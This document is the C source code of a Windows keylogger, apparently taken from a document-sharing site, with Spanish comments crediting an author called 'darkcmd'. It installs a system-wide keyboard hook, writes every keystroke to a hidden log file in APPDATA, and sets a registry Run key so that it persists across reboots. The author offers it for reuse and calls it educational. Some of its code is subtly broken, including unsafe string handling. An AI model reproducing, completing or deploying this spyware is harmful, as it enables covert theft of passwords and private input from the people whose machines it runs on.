Vous êtes sur la page 1sur 7

/**

* Este c�digo ha sido escrito por darkcmd


* No hay ning�n problema en que uses el c�digo o partes de �l en tu propio
* desarrollo o proyecto, pero si lo hace por favor menciona la autor�a de este
* o pon un link al blog de donde lo sacaste
**/

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

FILE *f;
HHOOK hookLLKeyboard;

/**
* Funcion Main, se encarga de inicializar e instalar el Hook que controlara la
instancia del teclado
* Adem�s abrir� el archivo en el que se realizara el Log de las teclas pulsadas
* trabajar� con la API de Windows para ser capaz de lidiar con los distintos
mensajes
*/
int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE, PTSTR pszCmdLine, int){
MSG msg;
if(testKey()==1){//checkeamos que tengamos la aplicacion en el registro
addKey();
}
time_t tiempo = time(0);
struct tm *tlocal = localtime(&tiempo);
char output[128];
strftime(output,128,"%d/%m/%y %H:%M:%S",tlocal);
char* path;
path = getenv("APPDATA");
strcat(path,"//log.txt");
f = fopen(path,"ab");
if(f == NULL){
exit(0);
}

fprintf(f,"\n/**Log de %s \n *recordatorio: todas las letras aparecen como


may�sculas, no significa que lo sean**\\\n\n",output);

//creamos el hook para los mensajes de teclado a nivel de sistema


hookLLKeyboard =
SetWindowsHookEx(WH_KEYBOARD_LL,LoggerFunctionProc,hinstExe,0);

//mantenemos el programa con vida mientras nos interese


while(true){
GetMessageA(&msg, NULL, 0, 0);
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//nos deshacemos del hook quitandolo de la lista que maneja windows
UnhookWindowsHookEx(hookLLKeyboard);
fclose(f);
return 0;
}
/**
* Funcion LoggerFunctionProc, se encarga de interceptar las distintas teclas que se
pican en el teclado y
* las registra en un fichero para que quede constancia de ellas.
**/
LRESULT CALLBACK LoggerFunctionProc(int nCode, WPARAM wParam, LPARAM lParam){
char c[7];
int longitud;
if (nCode == HC_ACTION){
switch(wParam){
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
break;
case WM_KEYUP:
case WM_SYSKEYUP:
PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT) lParam;
//especificamos la condicion de salida del programa ALT + .;
//key->flags&LLKHF_ALTDOWN --> mascara sobre los flags para
saber si esta el alt apretado
if((key->vkCode == VK_OEM_PERIOD)&&(key->flags&LLKHF_ALTDOWN)){
CallNextHookEx(NULL,nCode,wParam,lParam);
UnhookWindowsHookEx(hookLLKeyboard);
fclose(f);
exit(0);
}else{
//comprobamos el resto de teclas y las guardamos en el
archivo que corresponda
longitud = toAsciiConverter(key->vkCode,key->flags,c);
if(f!=NULL)
fwrite(c,sizeof(char),longitud,f);
CallNextHookEx(NULL,nCode,wParam,lParam);
}
break;
}
}else{
CallNextHookEx(NULL,nCode,wParam,lParam);
}
return S_OK;
}

/**
* Funcion ToAsciiConverter, A partir de las teclas apretadas decide que caracter
ASCII
* se debe guardar en el fichero, es un conversor de vkCode a ASCII.
**/

int toAsciiConverter(int key, DWORD flags, char *c){


int longitud = 2;
switch(key){
case VK_RSHIFT:
case VK_SHIFT:
case VK_LSHIFT:
strcpy(c,"shift ");
longitud = 6;
break;
case VK_CAPITAL:
strcpy(c,"capsL ");
longitud = 6;
break;
case VK_NUMPAD0:
strcpy(c,"0 ");
break;
case VK_NUMPAD1:
strcpy(c,"1 ");
break;
case VK_NUMPAD2:
strcpy(c,"2 ");
break;
case VK_NUMPAD3:
strcpy(c,"3 ");
break;
case VK_NUMPAD4:
strcpy(c,"4 ");
break;
case VK_NUMPAD5:
strcpy(c,"5 ");
break;
case VK_NUMPAD6:
strcpy(c,"6 ");
break;
case VK_NUMPAD7:
strcpy(c,"7 ");
break;
case VK_NUMPAD8:
strcpy(c,"8 ");
break;
case VK_NUMPAD9:
strcpy(c,"9 ");
break;
case VK_ADD:
strcpy(c,"+ ");
break;
case VK_BACK:
strcpy(c,"borra ");
longitud = 6;
break;
case VK_DECIMAL:
strcpy(c,". ");
break;
case VK_DIVIDE:
strcpy(c,"/ ");
break;
case VK_ESCAPE:
strcpy(c,"esc ");
longitud = 4;
break;
case VK_TAB:
strcpy(c,"tab ");
longitud = 4;
break;
case VK_MULTIPLY:
strcpy(c,"* ");
break;
case VK_OEM_1:
strcpy(c,":; ");
longitud = 3;
break;
case VK_OEM_102:
strcpy(c,"<> ");
longitud = 3;
break;
case VK_OEM_2:
strcpy(c,"?/ ");
longitud = 3;
break;
case VK_OEM_3:
strcpy(c,"~` ");
longitud = 3;
break;
case VK_OEM_4:
strcpy(c,"{[ ");
longitud = 3;
break;
case VK_OEM_5:
strcpy(c,"|\\ ");
longitud = 3;
break;
case VK_OEM_6:
strcpy(c,"}] ");
longitud = 3;
break;
case VK_OEM_7:
char cadena1[3];
cadena1[0] = '\"';
cadena1[1] = '\'';
cadena1[2] = ' ';
strcpy(c,cadena1);
longitud = 3;
break;
case VK_OEM_8:
strcpy(c,"�! ");
longitud = 3;
break;
case VK_OEM_COMMA:
strcpy(c,"<, ");
longitud = 3;
break;
case VK_OEM_MINUS:
strcpy(c,"_- ");
longitud = 3;
break;
case VK_OEM_PERIOD:
strcpy(c,">. ");
longitud = 3;
break;
case VK_OEM_PLUS:
strcpy(c,"+= ");
longitud = 3;
break;
case VK_SPACE:
strcpy(c,"space ");
longitud = 6;
break;
case VK_RETURN:
strcpy(c,"enter ");
longitud = 6;
break;
case VK_DOWN:
strcpy(c,"down ");
longitud = 5;
break;
case VK_UP:
strcpy(c,"up ");
longitud = 3;
break;
case VK_LEFT:
strcpy(c,"left ");
longitud = 5;
break;
case VK_RIGHT:
strcpy(c,"right ");
longitud = 6;
break;
case VK_LCONTROL:
case VK_RCONTROL:
strcpy(c,"ctrl ");
longitud = 5;
break;
case VK_F1:
strcpy(c,"f1 ");
longitud = 3;
break;
case VK_F2:
strcpy(c,"f2 ");
longitud = 3;
break;
case VK_F3:
strcpy(c,"f3 ");
longitud = 3;
break;
case VK_F4:
strcpy(c,"f4 ");
longitud = 3;
break;
case VK_F5:
strcpy(c,"f5 ");
longitud = 3;
break;
case VK_F6:
strcpy(c,"f6 ");
longitud = 3;
break;
case VK_F7:
strcpy(c,"f7 ");
longitud = 3;
break;
case VK_F8:
strcpy(c,"f8 ");
longitud = 3;
break;
case VK_F9:
strcpy(c,"f9 ");
longitud = 3;
break;
case VK_F10:
strcpy(c,"f10 ");
longitud = 4;
break;
case VK_F11:
strcpy(c,"f11 ");
longitud = 4;
break;
case VK_F12:
strcpy(c,"f12 ");
longitud = 4;
break;
default:
char cadena2[2];
cadena2[0] = key;
cadena2[1] = ' ';
strcpy(c,cadena2);
longitud = 2;
break;
}
return longitud;
}

/**
* La funcion testKey se encarga de checkear si una clave se encuentra o no en el
registro
* en caso de que no este se devuelve un 0, en caso de que la clave si que exista se
devuelve un 1
**/
int testKey(){
HKEY hKey;
DWORD buffersize = 1024;
char* lpData = new char[buffersize];

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
",NULL,KEY_READ,&hKey);
long result = RegQueryValueEx(hKey,"KL",NULL,NULL,(LPBYTE) lpData,&buffersize);
if(result != 0){
return 0;
}else{
return 1;
}
}

/**
* la funci�n addKey se encarga de a�adir la clave del Keylogger al registro de
windows para que este se inicie
* junto con el PC, esta funcion siempre devuelve un S_OK por si fuese necesario
**/
LRESULT addKey(){
system("reg add
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v KL /d
C:\\KeyLogger.exe");
return S_OK;
}

/**
* Este c�digo ha sido escrito por darkcmd
* No hay ning�n problema en que uses el c�digo o partes de �l en tu propio
* desarrollo o proyecto, pero si lo hace por favor menciona la autor�a de este
* o pon un link al blog de donde lo sacaste
*
* Este c�digo es enteramente de naturaleza formativa por tanto, es posible que
algunas
* decisiones de codificaci�n no sean las m�s �ptimas pues no es la velocidad uno de
los
* objetivos de este programa.
**/

Vous aimerez peut-être aussi